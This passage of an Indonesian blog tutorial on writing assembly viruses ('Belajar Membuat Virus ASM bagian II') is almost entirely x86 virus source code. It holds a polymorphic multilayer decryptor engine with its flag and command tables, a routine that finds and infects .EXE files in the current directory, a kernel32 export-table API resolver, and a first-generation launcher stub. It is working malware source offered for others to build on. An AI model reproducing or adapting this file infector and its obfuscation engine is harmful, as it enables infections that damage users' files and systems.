   fdivr
   jmp @@dfs_stosw_fpu_done

@@do_fild: call @@eip
   call rnd_zf
   jz @@fld
@@fild: mov ax, 04DBh ; fild dword ptr [esp]
   fild dword ptr [esp+4]
   jmp @@x1
@@fld: mov ax, 04D9h ; fld dword ptr [esp]
   fld dword ptr [esp+4]
@@x1: stosw
   mov al, 24h
   stosb
   inc fpustack
   call @@poly_cmd
   retn

@@do_fist: call @@eip
   call rnd_zf
   jz @@fist
@@fst: mov ax, 1CD9h ; fstp dword ptr [esp]
   fstp dword ptr [esp+4]
   jmp @@x2
@@fist: mov ax, 1CDBh ; fistp dword ptr [esp]
   fistp dword ptr [esp+4]
@@x2: stosw
   mov al, 24h
   stosb
   dec fpustack
   call @@poly_cmd
   retn

; ---------------------------------------------------------------------------

random: mov eax, randseed
   imul eax, 214013
   add eax, 2531011
   mov randseed, eax

   mov eax, randseed2
   imul eax, 8088405h
   inc eax
   mov randseed2, eax

   xor eax, randseed
   retn

rnd: push ecx
   push edx
   call random
   mov ecx, [esp+4]+8 ; range
   cmp ecx, 65536
   jae @@div
@@mul: shr eax, 16
   imul eax, ecx
   shr eax, 16
@@rnd_exit: pop edx
   pop ecx
   test eax, eax
   retn 4
@@div: xor edx, edx
   div ecx
   mov eax, edx ; v5.50 bugfix
   jmp @@rnd_exit

rnd_eax: push eax
   call rnd
   retn

rnd_3: push 3
   call rnd
   retn

rnd_2: push 2
   call rnd
   retn

rnd_zf: push eax
   call rnd_2
   pop eax
   retn

rnd_8: push 8
   call rnd
   retn

rnd_byte: push 256
   call rnd
   retn

rnd_dword: push eax
   call rnd_byte
   mov [esp+0], al
   call rnd_byte
   mov [esp+1], al
   call rnd_byte
   mov [esp+2], al
   call rnd_byte
   mov [esp+3], al
   pop eax
   test eax, eax
   retn

@@multilayer:
   ; calc EBX = # of layers we wanna build
   mov eax, nlayer ; != 1 (1 was used before)
   cmp eax, 2 ; nlayer >= 2 --> exactly #
   jge @@eax_layers
   cmp eax, -2 ; nlayer <= -2 --> 1+rnd(-nlayer)
   jle @@rnd_layers
   jmp @@error_badarg ; nlayer == -1,0 --> unused
@@rnd_layers: neg eax
   call rnd_eax
   inc eax
@@eax_layers: xchg ebx, eax

   mov restartcount, 0
@@restart:
   ; COPY: input -> temp
   mov edi, tempbufptr
   or edi, edi
   jz @@error_badarg
   mov esi, i_offs
   mov ecx, i_size
   mov t_size, ecx
   rep movsb
   push i_entry
   pop t_entry

   xor edx, edx
@@layer_cycle: inc edx ; current layer #, [1..EBX]

   ; KME: temp -> output

   push flags

; allow FLAG_X_RETBYJMP & FLAG_X_RET0C to be set in OUTER layer only
   cmp edx, ebx
   je @@z0
   and dword ptr [esp], not (FLAG_X_RETBYJMP+FLAG_X_RET0C)
@@z0:
   push cmdavail
   push cmdavail2
   push regavail
   push jmp_prob
   push po_entry

   mov ecx, po_size
   or ecx, ecx
   jnz @@cxnz
   lea ecx, po_size_ml
   mov po_size, ecx
@@cxnz:
   push ecx ; po_size
   push o_fillchar
   push o_max
   push o_offs
   push t_entry
   push t_size
   push tempbufptr ; i_offs

   push initregptr ; } used in OUTER layer only
   cmp edx, ebx
   je @@z1
   pop eax
   push 0
@@z1:
   push exitregptr ; } used in INNER layer only
   cmp edx, 1
   je @@z2
   pop eax
   push 0
@@z2:
   push vir_rva
   push original_rva

   push regsave ; } used in OUTER layer only
   cmp edx, ebx
   je @@z3
   pop eax
   push 0
@@z3:
   call rnd_dword
   push eax ; randseed
   push 1 ; nlayer
   push 0 ; tempbufptr
   call kme_main
   add esp, 4*KME_N_ARGS

   cmp eax, KME_ERROR_NOMEMORY
   jne @@baderror
   cmp edx, 1
   je @@baderror
   mov ecx, nlayer
   or ecx, ecx
   jl @@restart_nlayer
   test flags, FLAG_FAILIFNOMEMORY
   jz @@restart_nlayer
@@baderror:
   cmp eax, KME_ERROR_SUCCESS
   jne @@error_eax

   cmp edx, ebx
   je @@success_exit

   ; COPY: output --> temp
   mov esi, o_offs
   mov edi, tempbufptr
   mov ecx, po_size
   mov ecx, [ecx]
   mov t_size, ecx
   rep movsb
   mov ecx, po_entry
   jecxz @@cxz
   mov ecx, [ecx]
@@cxz: mov t_entry, ecx

   jmp @@layer_cycle

@@do_success_exit:
   ; COPY: temp --> output
   mov esi, tempbufptr
   mov edi, o_offs
   mov eax, po_size
   mov ecx, t_size
   mov [eax], ecx
   rep movsb
   mov ecx, po_entry
   jecxz @@cxz2
   mov eax, t_entry
   mov [ecx], eax
@@cxz2:
   jmp @@success_exit

@@restart_nlayer: cmp restartcount, 0
   jne @@error_assert
   inc restartcount

   lea ebx, [edx-1] ; no we know how many can build
   jmp @@restart

kme_main endp

; --------------------- flags -----------------------------------------------

KME_N_ARGS equ 21

FLAG_DEBUG equ 00000001h ; insert INT3 into poly decr
FLAG_NOLOGIC equ 00000002h ; disable "logic"
FLAG_NOJMPS equ 00000004h ; disable JMPs.
  ; NOJMPS means generate continuous block of code
FLAG_EIP0 equ 00000008h ; initial entry = 0, not rnd
FLAG_NOSHORT equ 00000010h ; disable short-opcodes for EAX
; v3.00+
FLAG_NOSHORT_C equ 00000020h ; disable short-consts usage
FLAG_NOSWAP equ 00000040h ; disable [cmd r1,r2] perverting
; v4.00+
FLAG_ONLY386 equ 00000080h ; only .386 opcodes
FLAG_X_CALLESP equ 00000100h ; call esp; add esp,
FLAG_X_RETBYJMP equ 00000200h ; JMP OrigEntry; otherwise RETN
FLAG_X_RET0C equ 00000400h ; MOV EAX,1/RETN 0Ch instead of RETN
; v4.50+
FLAG_RANDOMSTRATEGY equ 00000800h ; auto-select CMD_xxx & REG_xxx
; v5.00+
FLAG_NOREPEATPUSH equ 00001000h ; disable repeteable PUSH
; v5.50+
FLAG_FAILIFNOMEMORY equ 00002000h ; fail if cant create nlayer layers
FLAG_X_NORET equ 00004000h ; doesnt build JMP ESP-alike code

; --------------------- registers -------------------------------------------

KME_ERROR_SUCCESS equ 1 ; decryptor generated OK
KME_ERROR_ASSERT equ -1 ; internal error (kind of assert)
KME_ERROR_NOMEMORY equ -2 ; no free space in output buffer
KME_ERROR_BADARG equ -3 ; bad argument passed into engine

; --------------------- registers -------------------------------------------

REG_EAX equ 00000001h ; bitfields for register mask
REG_ECX equ 00000002h ;
REG_EDX equ 00000004h ; at least 1 register should
REG_EBX equ 00000008h ; be specified.
REG_ESP equ 00000010h ; use REG_DEFAULT otherwise
REG_EBP equ 00000020h ;
REG_ESI equ 00000040h ;
REG_EDI equ 00000080h ;
REG_ALL equ (not REG_ESP) and 255

REG_DEFAULT equ REG_EAX

REG_EAX_N equ 0
REG_ECX_N equ 1
REG_EDX_N equ 2
REG_EBX_N equ 3
REG_ESP_N equ 4
REG_EBP_N equ 5
REG_ESI_N equ 6
REG_EDI_N equ 7

; --------------------- commands --------------------------------------------

CMD_ALL equ -1 ; use all available commands

CMD_MOV equ 00000001h ; bitfields for command mask
CMD_XCHG equ 00000002h ;
CMD_ADD equ 00000004h ; at least 1 command should
CMD_SUB equ 00000008h ; be specified. default=XOR
CMD_XOR equ 00000010h ;
CMD_INC equ 00000020h ; all CMD_xxx commands can be
CMD_DEC equ 00000040h ; disabled by FLAG_NOLOGIC
CMD_OR equ 00000080h ;
CMD_AND equ 00000100h ;
CMD_SHL equ 00000200h ;
CMD_SHR equ 00000400h ;
CMD_ROL equ 00000800h ;
CMD_ROR equ 00001000h ;
CMD_SAR equ 00002000h ;
CMD_NOT equ 00004000h ;
CMD_NEG equ 00008000h ;
CMD_IMUL_EX equ 00010000h ;
CMD_SHLD equ 00020000h ;
CMD_SHRD equ 00040000h ;
CMD_BTC equ 00080000h ;
CMD_BTR equ 00100000h ;
CMD_BTS equ 00200000h ;
CMD_BSWAP equ 00400000h ;
CMD_XADD equ 00800000h ;
CMD_MOVSXZX equ 01000000h ; mov?x
CMD_BSR equ 02000000h ;
CMD_BSF equ 04000000h ;
CMD_MUL equ 08000000h
CMD_IMUL equ 10000000h
CMD_DIV equ 20000000h
CMD_IDIV equ 40000000h
CMD_PUSHPOP equ 80000000h ; used when initializing regs
;;
CMD_OLDSTUFF equ 000FFFFFFh ; 1.00
CMD_NEWSTUFF equ 0FF000000h ; 2.00+

CMD2_ALL equ -1

CMD2_PUSHPOPR equ 00000001h ; push r; polycmd; pop r
CMD2_PUSHPOPC equ 00000002h ; push c; polycmd; pop r
CMD2_IFOLLOW equ 00000004h ; cmp r, c; jxx
CMD2_INOFOLLOW equ 00000008h ; cmp r, c; jxx fake
CMD2_RFOLLOW equ 00000010h ; cmp r, r; jxx
CMD2_RNOFOLLOW equ 00000020h ; cmp r, r; jxx fake
CMD2_SUBROUTINE equ 00000040h ; 8-()
CMD2_CYCLE equ 00000080h ; |->
CMD2_FPU equ 00000100h ; X-) fsin,fcos,fsqrt,fadd,fsub,fmul,fdiv,fsubr,fdivr

; ===========================================================================
infect_files:
pushad

call delta

;search for *.EXE files in the current directory

sub esp,SIZEOF_WIN32_FIND_DATA
mov eax,esp
X_PUSH ecx,*.EXE~
mov ecx,esp

push eax
push ecx
call [ebp+_FindFirstFileA]
X_POP
mov ebx,eax
inc eax

;no file found? exit...

  @@find_next:
jz @@end_search

;found a file? map and infect it

call map_infect

;search next file

push esp
push ebx
call [ebp+_FindNextFileA]
test eax,eax
jmp @@find_next

;close the search handle

  @@end_search:
   push ebx
   call [ebp+_FindClose]

add esp,SIZEOF_WIN32_FIND_DATA
popad
ret

;this routine retrieve from the kernel32.dll image (in EAX) the APIs the virus need.

get_k32_apis:
call @@apiimport

API SetFileTime
API SetFileAttributesA
API CreateFileA
API CreateFileMappingA
API MapViewOfFile
API UnmapViewOfFile
API CloseHandle
API SetFilePointer
API SetEndOfFile
API LoadLibraryA
API CreateThread
API GetModuleFileNameA
API GetFileSize
API ReadFile
API GlobalAlloc
API GetTickCount
API Sleep
API FindFirstFileA
API FindNextFileA
API FindClose

dd -1

  @@apiimport:

;ESI will hold the APIs we need

   pop esi

get_apis:
pushad

;eax = dll imagebase

mov ebp,eax
add eax,[ebp.MZ_lfanew]

;EDI will hold the pointer to dll export directory

mov edi,[eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
add edi,ebp

;check if all APIs where retrieved. if so, exit

  @@scan_name:
mov edx,esi
   lodsd
   inc eax
   jz @@done_import

;now, in a cycle, compare the name of the APIs in the kernel32.dll export
;table with the API we need.

mov ebx,[edi.ED_AddressOfNames]
add ebx,ebp
sub ecx,ecx
  @@getapinameptr:
COMPARE
jz @@found

;check next API in kernel32.dll export table

inc ecx
add ebx,4
jmp @@getapinameptr

;we found the API. so, retrieve its ordinal number, and use it to get the API
;address

  @@found:
mov eax,[edi.ED_AddressOfNameOrdinals]
add eax,ebp
shl ecx, 1
movzx ecx,wo [eax.ecx]

mov eax,[edi.ED_AddressOfFunctions]
add eax,ebp
mov eax,[eax.(ecx*4)]
add eax,ebp
mov [edx],eax

GONEXT
jmp @@scan_name

  @@done_import:
popad
ret
virus_size=$-virus_main

.code

;thats the stub code, that simulate a infected file, for the virus first
;generation sample.

stubcode:
jmp virus_main

  __ret:
push 10*1000
extrn Sleep:PROC
call Sleep
push 0
extrn ExitProcess:PROC
call ExitProcess

end stubcode

Baca Selengkapnya... Belajar Membuat Virus ASM bagian II

-=[ D4wFl1N ]=-

Pages

24 September 2010

Belajar Membuat Virus ASM bagian II

Followers

Blog Archive

Partner Site

Entri Populer

Visitor